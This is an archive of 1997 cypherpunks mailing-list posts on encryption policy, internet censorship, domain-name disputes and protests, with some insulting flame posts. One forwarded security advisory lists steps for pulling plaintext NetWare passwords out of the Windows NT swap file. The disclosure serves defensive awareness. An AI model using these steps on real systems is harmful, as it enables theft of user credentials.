Date: Wed, 23 Apr 1997 16:59:33 -0700 (PDT)
Subject: Texas declares war...
Message-ID: 


I love April 19th.

Patriot's Day, indeed...





Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"...Wells Fargo's on-line banking sucks dead gerbils
through a dirty garden hose." -- Eric Murray
The e$ Home Page: http://www.shipwright.com/








From announce at lists.zdnet.com  Wed Apr 23 20:29:47 1997
From: announce at lists.zdnet.com (announce at lists.zdnet.com)
Date: Wed, 23 Apr 1997 20:29:47 -0700 (PDT)
Subject: Get ZDNet on PointCast - FREE!
Message-ID: 


-----------------------------------------------------------------
   ZDNET ANNOUNCEMENT          4/24/97
-----------------------------------------------------------------

Announcing ZDNet on PointCast:  Get ZDNet broadcast directly 
to your desktop - Free! 

With the new ZDNet channel on the PointCast Network, you can 
now have ZDNet's comprehensive computing and Internet news 
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_______________________________________________________________       

ZDNet Announcements are periodic notices of new features,
special events and free offers available to members of ZDNet. 

--To subscribe to ZDNet Announcements, please send mail to:
announce-on at lists.zdnet.com        
You can leave the subject and body blank.        

--To unsubscribe to ZDNet Announcements, please send mail to:
announce-off at lists.zdnet.com       
You can leave the subject and body blank. 
_______________________________________________________________


Powered by Mercury Mail: http://www.merc.com

===============================================






From harka at nycmetro.com  Wed Apr 23 20:43:23 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Wed, 23 Apr 1997 20:43:23 -0700 (PDT)
Subject: WWW-Survey
Message-ID: <199704240344.XAA01175@linux.nycmetro.com>



-----BEGIN PGP SIGNED MESSAGE-----

GVU's Seventh WWW User Survey:

http://www.cc.gatech.edu/gvu/user_surveys/

Lot's of privacy/security questions etc..


Ciao

Harka



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Version: 2.6.2

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ed57SrfZSwk4D5oQX+7eZlelU0WvbJA3RsT23LCewwlS9QMmG4Jo1w==
=c1+l
-----END PGP SIGNATURE-----






From stewarts at ix.netcom.com  Wed Apr 23 22:18:06 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 23 Apr 1997 22:18:06 -0700 (PDT)
Subject: Texas declares war...
In-Reply-To: 
Message-ID: <3.0.1.32.19970423221332.0065c9d0@popd.ix.netcom.com>


At 07:55 PM 4/23/97 -0400, Robert Hettinga wrote:
>I love April 19th.
>
>Patriot's Day, indeed...
>
>

Does anybody have a mirror of this site?
I'm getting no response to http or even ping.
Are they just down, or have they been squashed?

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From jer+ at andrew.cmu.edu  Wed Apr 23 23:46:38 1997
From: jer+ at andrew.cmu.edu (Jeremiah A Blatz)
Date: Wed, 23 Apr 1997 23:46:38 -0700 (PDT)
Subject: Texas declares war...
In-Reply-To: <3.0.1.32.19970423221332.0065c9d0@popd.ix.netcom.com>
Message-ID: <0nLk6f200YUh1REHE0@andrew.cmu.edu>


Bill Stewart  writes:
> At 07:55 PM 4/23/97 -0400, Robert Hettinga wrote:

> >
> 
> Does anybody have a mirror of this site?
> I'm getting no response to http or even ping.

As of 4/24 2:42 AM I could see it from the andrew.cmu.edu domain. In
case you can't get it, the html (no images) should be available via:
. This
mirroring does not constitute agreement with the contensts of the
file, blah, blah, blah. (Hell, I didn't even read it all.)

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole





From tank at xs4all.nl  Thu Apr 24 00:53:27 1997
From: tank at xs4all.nl (tank)
Date: Thu, 24 Apr 1997 00:53:27 -0700 (PDT)
Subject: EU-summit Amsterdam 16-17 june
Message-ID: <199704240751.JAA26179@xs1.xs4all.nl>


A HOT SUMMER IN AMSTERDAM

  On the 16th and 17th of June the Eurotop will take place in
  Amsterdam. During this gathering of European heads of state in the
  Nederlandsche Bank in Amsterdam work will be done on the creation of
  a single economic power. With the market as the key word social
  services will either be privatised or scrapped. Governing policies
  will be made behind closed doors by impenetrable power structures.
  This tiny group of national leaders will give all power to
  capitalism and at the same time all possibilities for democratic
  alternatives will be dismantled. This process will be helped along
  by increasing levels of control, both internal and at the external
  borders of Europe. 


 The heads of state have big ideas for this European conference. They
 want to formulate the Treaty of Amsterdam, or Maastricht 2, a
 rewriting of the European Union treaty that was signed in 1992. In
 this treaty they want to abolish the right of veto for national
 cabinets and bring in new laws for foreign policy, judiciary and the
 police.

  The Eurotop is a blessing for Amsterdam's council. They will get the
  chance to rid the city of its image as a Sodom and Gomorrah full of
  slums, drugs and the sex industry and will instead be able to
  present the city as a respectable economically sound international
  city. In order to present this image to the government leaders and
  to ensure that the conference runs smoothly there will be thousands
  of extra police officers bought into Amsterdam and a large part of
  the city will be made into security zones. In these security zones
  people will be required to prove their identity and the streets will
  be 'cleared' of the homeless, illegal immigrants and other
  'undisirable elements'. A view of the future perhaps?

  Fortunately there are a lot of people and organisations who are
  discontented with these plans and intend to show their disgust and
  carry out acts of resistance during the conference.

  People from other countries and cities are of course welcome. We
  have already planned a number of actions and events that will take
  place between the 12th and 17th of June. Here we have an incomplete
  list of events. These actions will be organised by a broad spectrum
  of progressive groups and individuals. Therefore each group is
  responsible for its own plans. The actions have been planned taking
  other groups and events into consideration, but it has been decided
  that there will be no 'central comitee' to organise everything.
  There will remain plenty of room for other spontaneous occurences.
  During the conference there will be a number of 'info points' in
  Amsterdam where people will be able to obtain information about what
  is happening. The addresses of these points is not available at this
  moment but can be obtained from our address after 1st May. We are
  unable to arrange sleeping places for everybody, you will have to do
  that yourself (or arrange thast people can come and stay with you!)
  Individual actions and initiatives are welcome, so that we will be
  able to show in all manner of ways that we are not happy with the
  current policies of the EU but want a different and more just world.

It promises to be a long hot summer.

AN INCOMPLETE LIST OF ACTIVITIES THAT WILL TAKE PLACE DURING THE
EUROTOP IN AMSTERDAM.

14-6 Demonstration against unemployment, poverty and                  
 exploitation. 
          From mid- April thousands of people will be marching to     
                Amsterdam from various different countries. These     
                      marches will meet in Amsterrdam on the 14th as a
                            demonstration against EU policy.

11-6/17-6 Top from the bottom.
          "Platform for another Europe', a collaboration of various
          progressive groups will be organising discussions, actions
          and theme days. This will be in the form of an alternative
          top with speakers from different countries. There will be
          workshops about unemployment, poverty, social injustice,
          feminist Europe, Europe and the south, Ecological Europe and
          so on.

15-6  Demonstration/Action at the Border Hostel. 
      The Autonomous Centre will probably organise a cycle
      demonstration through the city which will end up at the prison
      for refugees in south east Amsterdam. Exact details of this
      action will be publicised later.

13-6/15-6 Chaos Days. 
       Punks will be gathering in Amsterdam to turn the city upside
       down.

15-6  Demonstration at the Homomonument.
      A demonstration against the verdict of the European court that
      England is alloewd to make voluntary SM sexual practises
      illegal. This will take place under the slogan "Sexual diversity
      in Europe". Organised by Stichting Gala.

12-6/13-6 United Conference.
          The biggest NGO gathering of the European Year Against
          Racism. The themes of this will be "Fortress Europe",
          "Everyday racism" and "Institutional Racism", there will be
          speakers from various countries. This will be held in
          English.

16-6 Eurorave.
     LegalizE street party against the European drugs policy "and the
     other shit that they have got planned for us."

17-6 Euroblow 
     A massive smoke-in at the Nederlandsche Bank as a protest against
     the European drugs policy.

17-6 Autonomous demonstration at the Nederlandsche Bank.
     Angry people wearing balaclavas in a tearing hurry to get to the
     Nederlandsche bank. Meeting point 14-00hours at the Dam.





From stewarts at ix.netcom.com  Thu Apr 24 01:00:06 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 24 Apr 1997 01:00:06 -0700 (PDT)
Subject: Texas declares war...
In-Reply-To: <3.0.1.32.19970423221332.0065c9d0@popd.ix.netcom.com>
Message-ID: <3.0.1.32.19970424005856.00664080@popd.ix.netcom.com>


>Bill Stewart  writes:
>> >
>> Does anybody have a mirror of this site?
>> I'm getting no response to http or even ping.

Hmmm - it's back now.  False alarm...

At 02:46 AM 4/24/97 -0400, Jeremiah A Blatz wrote:

>As of 4/24 2:42 AM I could see it from the andrew.cmu.edu domain. In
>case you can't get it, the html (no images) should be available via:
>. This
>mirroring does not constitute agreement with the contensts of the
>file, blah, blah, blah. (Hell, I didn't even read it all.)



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From felipe at xs4all.nl  Thu Apr 24 01:44:42 1997
From: felipe at xs4all.nl (Felipe Rodriquez)
Date: Thu, 24 Apr 1997 01:44:42 -0700 (PDT)
Subject: Effective blockade on the Internet impossible (AP newswire)
Message-ID: <199704240838.KAA28541@xs1.xs4all.nl>


This was was sent in Germany on tuesday, i got the translation today:

"Effective blockade on the Internet impossible" 

Frankfurt/M, April 22 (AP)
Effectively barring information of a certain kind from
the Internet is not possible. That is the outcome of a week 
long blockade by Deutsche Forschungsnetz (DFN) of the Dutch
Internet provider XS4ALL (meaning Access for All), which was
lifted Monday evening.
"It has been demonstrated that an effective blockade of
illegal information has not been within the bounds of
possibility" said DFN spokesman Klaus)Eckart Maass to AP news
agency last Tuesday. Other Web servers, according to Mr Maass,
have set up mirror sites of the online edition of the
underground magazine "Radikal", published via XS4ALL, that 
is, it has been copied and been made accessible to the public.
But this  only served to put "Radikal" really in the picture.
Besides, he had been faced with a flood of protest and abuse
from the Internet, Mr Maass said. "Maintaining the blockade
was not feasible."

With their measure of 11 April, DFN responded to a letter
from the Federal Criminal Investigation Department, pointing
out the illegal contents of the magazine. Issue no. 154 of the
radical left wing magazine contains a "Short Guide to
hindering railway transports of all kinds" a manual
describing how attacks can be made on the tracks on which the
nuclear waste transports to Gorleben take place. On account of
the Telecoms Bill, which received its second reading in the
federal parliament on Friday, he is obliged to bar access to
material on the Internet as soon as he learns of any illegal
contents, Mr Maass explained, provided this is technically
feasible.

Protests from Serbia's opposition broadcasting station B92

As suppressing separate Web)pages is technically not
possible, DFN cut off all access to the Dutch provider, which
offers more than 6,000 different information sites among
which those of Serbian opposition broadcasting station B92 and
several others in the scientific field. "I cannot undertake
anything that hampers scientific developments", said Mr Maass.
Three DFN users complained they were no longer able to reach
archeological and other information at XS4ALL. DFN, to which
all German universities are connected, is used by about
500,000 users to obtain access to the Internet. Protests also
came from B92, as the broadcasting station found its efforts
to further the cause of democracy in Serbia thwarted by the
blockade.
In September of last year several commercial Internet
providers had already blocked XS4ALL temporarily out of
concern, so they said, that the measures taken by the law
could take on such dimensions as would endanger their very
existence. This action gave rise to fierce protests on the
Internet, but also caused XS4ALL to remove issue 154 of
"Radikal" from the server temporarily. It has not come to that
during this recent blockade.
Speaking out on the renewed blockade, XS4ALL said they were 
surprised, stating that censoring measures on the
Internet had repeatedly proved to be counter productive. "As a
provider we take the position that we cannot curtail freedom
of opinion", XS4ALL spokesman Felipe Rodriquez-Svensson said. 
If there are doubts about the legitimacy of "Radikal" in the
Netherlands, they should be settled in a Dutch court.






-- 
XS4ALL Internet BV - Felipe Rodriquez-Svensson - finger felipe at xs4all.nl for 
Managing Director  -                           - pub pgp-key 1024/A07C02F9 







From ichudov at algebra.com  Thu Apr 24 02:28:42 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Thu, 24 Apr 1997 02:28:42 -0700 (PDT)
Subject: Texas declares war...
In-Reply-To: <3.0.1.32.19970423221332.0065c9d0@popd.ix.netcom.com>
Message-ID: <199704240924.EAA20135@manifold.algebra.com>


it is still there. i saved a copy just in case...

igor

Bill Stewart wrote:
> 
> At 07:55 PM 4/23/97 -0400, Robert Hettinga wrote:
> >I love April 19th.
> >
> >Patriot's Day, indeed...
> >
> >
> 
> Does anybody have a mirror of this site?
> I'm getting no response to http or even ping.
> Are they just down, or have they been squashed?
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 



	- Igor.





From nobody at REPLAY.COM  Thu Apr 24 07:30:24 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 24 Apr 1997 07:30:24 -0700 (PDT)
Subject: The Net is Closing, the U.S. is becoming a Terror State
In-Reply-To: 
Message-ID: <199704241430.QAA02081@basement.replay.com>


> > [I sent this several hours ago, and it has not appeared at my site. I am
> > sending it again. My impression, based on the past some weeks, is that
> > cyberpass.net is an unacceptable replacement for toad.com.]
> 
> I have found that subscribing to cypherpunks at sirius.infonex.com (it's
> majordomo) works just fine.

Tim's message was delayed for a few hours. The impatient may want to
subscrive to cypherpunks at algebra.com (also majordomo).






From jya at pipeline.com  Thu Apr 24 09:36:21 1997
From: jya at pipeline.com (John Young)
Date: Thu, 24 Apr 1997 09:36:21 -0700 (PDT)
Subject: New Crypto Panel
Message-ID: <1.5.4.32.19970424163437.006df544@pop.pipeline.com>


Federal Register, April 24, 1997:

DEPARTMENT OF COMMERCE

President's Export Council Subcommittee on Encryption; 
Notice of Establishment

    The Secretary of Commerce has determined that the 
establishment of the President's Export Council
Subcommittee on Encryption is in the public interest in 
connection with the performance of duties imposed on the 
Department by law.

    The Subcommittee will advise the Secretary, through the 
Assistant Secretary for Export Administration, on
matters pertinent to the implementation of an encryption 
policy that will support the growth of commerce while 
protecting the public safety and national security.

    The Subcommittee will consist of approximately 25 members 
to be appointed by the Secretary to assure a balanced 
representation among the exporting community and those 
Government agencies with a mandate to implement policy 
regarding encryption.

    The Subcommittee will function solely as an advisory body.

    Interested persons are invited to submit comments regarding 
the establishment of the Subcommittee to Lee Ann Carpenter, 
Committee Liaison Officer, OAS/EA/BXA, U.S. Department of 
Commerce, MS: 3886C, Washington, D.C., 20230. Telephone: 
202-482-2583. FAX: 202-501-8024.

    Dated: April 18, 1997.
Sue E. Eckert,
Assistant Secretary for Export Administration.






From sunder at brainlink.com  Thu Apr 24 10:31:55 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 24 Apr 1997 10:31:55 -0700 (PDT)
Subject: [NTSEC] NT Displays Plain-Text Netware Passwords (fwd)
Message-ID: 




=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder at sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.


---------- Forwarded message ----------
Date: Thu, 24 Apr 1997 01:37:49 -0500
From: Patrick Hayden 
To: ntsecurity at iss.net
Subject: [NTSEC] NT Displays Plain-Text Netware Passwords

Windows NT 4.0, with Microsoft's Client Services for Netware, or
Novell's IntraNetware Client for Windows NT, writes plain-text user-id
and password information to PAGEFILE.SYS.  The user-id and password
apply to Netware, however, users commonly use the same logon information
for both NT and Netware.  It is possible to then recover the plain-text
information by using a disk editor.

Tests have been performed  (with more pending) on these systems:

Windows NT Workstation 4.0 w/SP1 and IntraNetware Client for NT (970214)
     Pent. 133 Laptop  24MB RAM  50MB PAGEFILE.SYS
Windows NT Workstation 4.0 w/SP1 and Microsoft Client Services for
Netware
     Dual Pent 166   64MB RAM  80MB PAGEFILE.SYS
Novell Netware 4.11 Server

1.  Set /MAXMEM=12 in BOOT.INI so as to force swapping.
2.  Load NT; Authenticate to NT and Netware (I used the same ID and
Password for both systems.); Verify connection by mapping a drive.
3.  To ensure that sufficient swapping takes place, run a large program
(this forces the user-id and password information stored in RAM to be
placed into PAGEFILE.SYS.)
4.  Exit NT; Boot to DOS; diskedit PAGEFILE.SYS
5.  Search for one of the following strings (do NOT include the ""
items):

 IntraNetware Client:   
     NWUserName="user-id"
     WlMprNotifyPassword="password"
     "UserName"    (if the username is alone, the password will follow
very closely)

 Client Services for Netware
     nwcs"password"    (the password is all CAPS and will immediately
follow nwcs)

In a "real-life" environment, most likely there will be enough swapping
on the system that setting the /MAXMEM switch will be unnecessary.  The
switch is only to help confirm that this hole exits.

If anyone has any knowledge of this, please post it to the list.

Patrick Hayden
Security Consultant � Ernst & Young, LLP
patrick.hayden at ibm.net






From declan at well.com  Thu Apr 24 11:18:28 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 24 Apr 1997 11:18:28 -0700 (PDT)
Subject: Generic announcement
In-Reply-To: <19970422183723.30130@bywater.songbird.com>
Message-ID: 


At 6:37 PM -0700 4/22/97, Kent Crispin wrote:
>This is from a story on Top Level Domain Names.  Seems like it could apply
>to anything:
>
>"In Washington DC, officials from the White House, federal agencies and
>Congress say regulations may be necessary to promote a free-market
>system. A White House inter-agency taskforce was due to meet last
>week, after CWI's press deadline, to discuss the matter."

Here's an article I wrote about this last week. The White House interagency
task force, under OSTP, has met twice already.

-Declan

*******

Date: Wed, 16 Apr 1997 11:36:07 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: FC: Domain name disputes, Network Solutions, and the FCC

*****************

http://cgi.pathfinder.com/netly/opinion/0,1042,847,00.html

The Netly News
http://netlynews.com/

April 16, 1997
by Declan McCullagh  (declan at well.com)

        Don Telage, the president of Network Solutions -- the company
   that oversees Internet domain-name registration -- wants the
   government to seize control of your Net address. "The FCC should
   assume interim authority" over domain names, he argues. "These
   functions need to be institutionalized."

        Telage says that unless the FCC steps in, a plan to add new
   top-level domains such as .firm and .nom will bewilder netizens, spark
   disruptive lawsuits and threaten the "fragile stability of the Net."
   He proposes that the federal government nix additional top-level
   domains for now, then pick a contractor to deal with them (perhaps
   Telage's own firm, Network Solutions).

        And so the battle lines were drawn earlier this week between a
   proposal granting the FCC jurisdiction over the Net and the
   International Ad Hoc Committee's (IAHC) plan to create a Swiss
   organization to rule cyberspace -- with the backing of the Internet
   Society, the U.N., the World Intellectual Property Organization and
   the International Telecommunication Union. Important members of the
   high-tech community, including UUNET and MCI, have endorsed the IAHC
   plan, but Network Solutions hopes to muster support for its
   counterproposal from within the Beltway. Both sides agree that the Net
   is choking under the clogged .com domain, but they disagree on how to
   answer these questions: Who gets to sell additional top-level domains,
   what will they be and who controls the process?

        At stake, the contenders claim, is nothing less than the future
   of the Internet. Network Solutions' proposal, unveiled on Monday at a
   Federal Networking Council Advisory Committee meeting, is only the
   latest offensive in the increasingly bitter war over who controls the
   three-letter suffixes that identify organizations. These databases
   have quickly become hot property: Thanks to its government-granted
   monopoly, Network Solutions raked in up to $100 million last year.
   That turned heads. Gold rush fever spread to the would-be profiteers
   at Image Online Design, who last year thought they'd get rich quick by
   claiming exclusive ownership of the ".web" top-level domain. (They
   failed. They're suing.)

        Which amply demonstrates one thing: The informal, cooperative
   gentleman's agreement that served the Net so well during its
   not-for-profit infancy no longer works. This growing realization marks
   the end of the old Internet and the arrival of the new. No longer can
   Jon Postel, a little-known but highly trusted network guru, run the
   Internet Assigned Numbers Authority (IANA) and decide what top-level
   domains should exist. Not only is he being battered by lawsuits, what
   happens if he drops dead tomorrow? I don't mean to be morbid here, but
   this is important stuff in high-powered telecom circles: The Federal
   Networking Council's Advisory Committee took time this week to
   seriously contemplate the "Jon Postel getting hit by a beer truck"
   scenario.

        The roots of the current controvery stem from when Network
   Solutions won an exclusive contract from the National Science
   Foundation to maintain the InterNIC database. After the company
   started charging for domain names registration in 1995, netizens
   started to complain. "The community has given us incredibly powerful
   pushback that they don't like the lack of competition," says Perry
   Metzger, a member of IAHC and the president of a New York consulting
   firm.

        The IAHC proposal aimed to fix that problem by allowing other
   private-sector registrars to compete under rules created in Geneva.
   Yet its critics say more guidance is needed from the U.S. government.
   "There needs to be some sort of nominal governmental action or
   responsibility to provide a mechanism for the industry to meet and not
   run afoul of antitrust laws," says Tony Rutkowski, former head of the
   Internet Society and now a leading critic of the organization. In
   other words, it's time for the federal government to expropriate what
   it created.

        Now, if there's a sure-fire way to get federal officials
   twitching to regulate, it's an industry appearing divided and in need
   of help. "What happens when the notion of industry self-regulation
   fails? What does the government do? Do we have to come in and clean up
   afterwards?" one Clinton administration official asked me recently.
   Sure enough, last month a White House interagency committee formed.
   The goal: to decide what the U.S. government should do with domain
   names. "We're collecting information. We're collecting advice," says
   Glenn Schlarmann from the White House Office of Management and Budget.
   "The FCC probably has a role. The Patent and Trademark Office probably
   has a role. The government traditionally has been the guardian of
   public interest." (Of course, other countries may have a different
   idea of "public interest" and may take a very dim view of the U.S.
   seizing control.)

        Even some high-tech firms hardly known for their willingness to
   cozy up to regulators quietly welcome this move as a way to stabilize
   the Net. Right now, it's vulnerable not only to beer trucks hitting
   Jon Postel, but also, more disturbingly, to claims under antitrust
   laws. That's exactly what a lawsuit filed last month in New York is
   arguing. PGP Media's complaint claims that Network Solutions "has
   conspired" to head off "competition in the domain name registration
   market."

        Now, PGP Media may have a reasonable claim under antitrust laws
   -- but if the suit succeeded, it would spell disaster for the Net. PGP
   Media wants to create an unlimited number of top-level domains, but
   the Net can only handle a few hundred. Tony Rutkowski suggests the FCC
   as a way out. The IAHC plan suggests WTO and the ITU.

        My own suggestion is to steer clear of both bureaucrats and
   Eurocrats. Instead, netizens should ask the U.S. Congress to pass a
   law exempting the Internet from dusty, century-old antitrust laws.
   Where's the Congressional Internet Caucus when we need it?

###


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From dlv at bwalk.dm.com  Thu Apr 24 11:30:32 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 24 Apr 1997 11:30:32 -0700 (PDT)
Subject: The Net is Closing, the U.S. is becoming a Terror State
In-Reply-To: 
Message-ID: 


Tim May  writes:

> cyberpass.net is an unacceptable replacement for toad.com.]

Why, because your Cocksucker pal John Gilmore can't pull plugs?

> We're in a terror state when the War on Drugs, the War on Pornography, the
> War on Terrorism, the War on Guns, and the War on Unlicensed Cryptography
> makes us all criminals.

I've been saying this for some time now.  Any ideas where to emigrate to?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Thu Apr 24 11:34:01 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 24 Apr 1997 11:34:01 -0700 (PDT)
Subject: Do government employees have freedom of speech?
In-Reply-To: 
Message-ID: 


Tim May  writes:

> At 8:53 PM -0800 4/23/97, Bill Frantz wrote:
> >I guess I have to defend my view.  In general, people on this list believe
> >that freedom of speech includes the freedom to lie.  (I seem to remember
> >having an exchange with Tim on the subject of truth in commercial speech a
> >year or so ago.)
>
> I don't recall that. In any case, I am not arguing that the government has
> any responsibility to stop lying, per se, I am saying that _employees_ of
> the U.S. Justice or Treasury or State or Defense Departments are no more
> free to "say whatever they wish" as employees of Apple or Intel or Sun are.

Employees of C2Net don't mind.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Thu Apr 24 11:37:16 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 24 Apr 1997 11:37:16 -0700 (PDT)
Subject: Post Office to act as CA, creator of keys
In-Reply-To: <3.0.1.32.19970423214619.0078b468@postoffice.pacbell.net>
Message-ID: 


Are the people at C2Net really this clueless, or is this a joke?

Greg Broiles  writes:

...
> >Who in their right mind would *trust* the Post Office to act as a CA?
>
> Have been trying to think of a legitimate reason for the CA to generate keys,
> instead of the end-user; haven't come up with one yet. ...

To keep a copy, obviously.

> The database description doesn't list the private keys among the data that
> the Post Office plans to retain.

Let me see if I follow the C2Net shill's logic:

USPS generates my public/private pair of keys.
USPS doesn't list the private keys as the data USPS plans to retain
Therefore I can assume that they won't retain it.

I guess this fits with everything else C2Net's been doing and saying.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From declan at well.com  Thu Apr 24 15:46:04 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 24 Apr 1997 15:46:04 -0700 (PDT)
Subject: Crypto moves forward: Commerce Dept panel and SAFE markup
Message-ID: 


X-POP3-Rcpt: declan at relay.pathfinder.com
X-Sender: declan at mail.pathfinder.com
Mime-Version: 1.0
Date: Thu, 24 Apr 1997 18:17:09 -0400
To: fight-censorship-announce at vorlon.mit.edu
From: Declan McCullagh 
Subject: FC: Crypto moves forward: Commerce Dept panel and SAFE markup
Sender: owner-fight-censorship-announce at vorlon.mit.edu
Reply-To: declan at well.com
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/

Encryption is again bubbling to the surface of Washington politics. Today
the Department of Commerce announced that it was creating a new committee
to advise it on crypto-issues. A department official told me it would be
composed of "businesses that export encryption," and interested parties
have 15 working days to file comments. A way for the White House to split
industry opposition and persuade high tech firms to buy into key escrow?
Hmm...

On the Hill, crypto legislation that would lift export controls is about to
advance farther than ever before. (Last fall, Sen. Exon killed any chance
that pro-crypto legislation had in the 104th Congress.) Rep. Bob
Goodlatte's crypto bill (SAFE) will move to subcommittee markup next
Tuesday at 2 pm in Rayburn 2237. After the full committee reports the bill,
it moves to the international relations committee. Sen. Conrad Burns also
would like to move forward with his Pro-CODE bill in May.

Problem is, Goodlatte's SAFE bill, which has about 70 cosponsors, does more
than just relax export controls and prohibit mandatory key escrow. It also
creates new criminal penalties for using encryption to further a criminal
act. Now, some say that it's innocuous -- and a good tradeoff for getting
export controls lifted -- but I'm not convinced. When encryption is
widespread and present in telephones, radios, cell phones, wireless modems,
web browsers, televisions, and maybe light switches, *any use* of any
electronic appliance will involve encryption. (Who wants a hacker playing
with your toaster?)

Remember that Maryland bill that would criminalize sending "annoying" or
"harassing" email? If the Goodlatte bill became law, Marylanders who signed
their messages with PGP or telnetted to local ISPs could be slammed with an
all-expenses-paid trip to the Federal pen for five years.

In other words, SAFE would turn state misdemeanors into Federal felonies.
This is not good.

A coalition of groups is sending a letter to Goodlatte tomorrow supporting
the bill but expressing concern over the criminalization provision.
Interested in signing on? Email David Sobel: sobel at epic.org.

-Declan

*****************

Security and Freedom Through Encryption (SAFE) Act (Introduced in the House)

`Sec. 2805. Unlawful use of encryption in furtherance of a criminal act

       `Any person who willfully uses encryption in furtherance of the
commission of a criminal
       offense for which the person may be prosecuted in a court of
competent jurisdiction--

              `(1) in the case of a first offense under this section, shall
be imprisoned for not
              more than 5 years, or fined in the amount set forth in this
title, or both; and

              `(2) in the case of a second or subsequent offense under this
section, shall be
              imprisoned for not more than 10 years, or fined in the amount
set forth in this title,
              or both.'.


*****************

Federal Register, April 24, 1997:

DEPARTMENT OF COMMERCE

President's Export Council Subcommittee on Encryption;
Notice of Establishment

    The Secretary of Commerce has determined that the
establishment of the President's Export Council
Subcommittee on Encryption is in the public interest in
connection with the performance of duties imposed on the
Department by law.

    The Subcommittee will advise the Secretary, through the
Assistant Secretary for Export Administration, on
matters pertinent to the implementation of an encryption
policy that will support the growth of commerce while
protecting the public safety and national security.

    The Subcommittee will consist of approximately 25 members
to be appointed by the Secretary to assure a balanced
representation among the exporting community and those
Government agencies with a mandate to implement policy
regarding encryption.

    The Subcommittee will function solely as an advisory body.

    Interested persons are invited to submit comments regarding
the establishment of the Subcommittee to Lee Ann Carpenter,
Committee Liaison Officer, OAS/EA/BXA, U.S. Department of
Commerce, MS: 3886C, Washington, D.C., 20230. Telephone:
202-482-2583. FAX: 202-501-8024.

    Dated: April 18, 1997.
Sue E. Eckert,
Assistant Secretary for Export Administration.

[Thanks to JYA. --Declan]



-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


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From declan at well.com  Thu Apr 24 16:20:48 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 24 Apr 1997 16:20:48 -0700 (PDT)
Subject: Censorware battle heats up; CyberSitter blacklist now public
Message-ID: 


X-POP3-Rcpt: declan at relay.pathfinder.com
X-Sender: declan at mail.pathfinder.com
Mime-Version: 1.0
Date: Thu, 24 Apr 1997 18:43:35 -0400
To: fight-censorship-announce at vorlon.mit.edu
From: Declan McCullagh 
Subject: FC: Censorware battle heats up; CyberSitter blacklist now public
Sender: owner-fight-censorship-announce at vorlon.mit.edu
Reply-To: declan at well.com
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/

You probably know about Brian Milburn. The irascible and foul-mouthed
president of Solid Oak Software, which sells CyberSitter censorware,
Milburn is best known for threatening journalists with criminal
prosecutions, blocking the web sites of his critics, and calling writers a
"trickle of piss." He's so obnoxious that even his fellow censorware
vendors distance themselves from him.

One of my articles about his exploits is at:
  http://cgi.pathfinder.com/netly/editorial/0,1012,453,00.html

Now he's on the warpath again. His latest target: one Bennett Haselton, a
college student and outspoken critic of CyberSitter's blocking policies.
(Milburn blocks the National Organization for Women and New York's
echo.com, among other university sites and Internet providers.)

Haseleton earlier this week posted a short DOS program that decrypts
CyberSitter's secret blacklist. Milburn was enraged. He accused Hasleton of
various crimes and today demanded that Haselton stop *linking* to
CyberSitter's pages.

Read on for more...

-Declan

*********

>Return-path: 
>Date: Thu, 24 Apr 1997 09:59:10 -0700
>From: Brian Milburn 
>Subject: Demand letter
>X-Sender: Brian Milburn
>To: bennett at peacefire.org
>Organization: Solid Oak Software, Inc.
>
>The following is a copy of a certified letter mailed to you on April 24, 1997.
>
>------------------------------
>
>Bennett Haselton
>Vanderbuilt University
>Box 1161, Station B
>Nashville, TN 37235
>
>Re: www.peacefire.org
>
>
>Dear Mr. Haselton:
>
>Please let this letter serve as notice of the following:
>
>1. You have posted a program on your web site called "CYBERsitter filter file
>codebreaker". This program illegally modifies and decodes data and source
>code
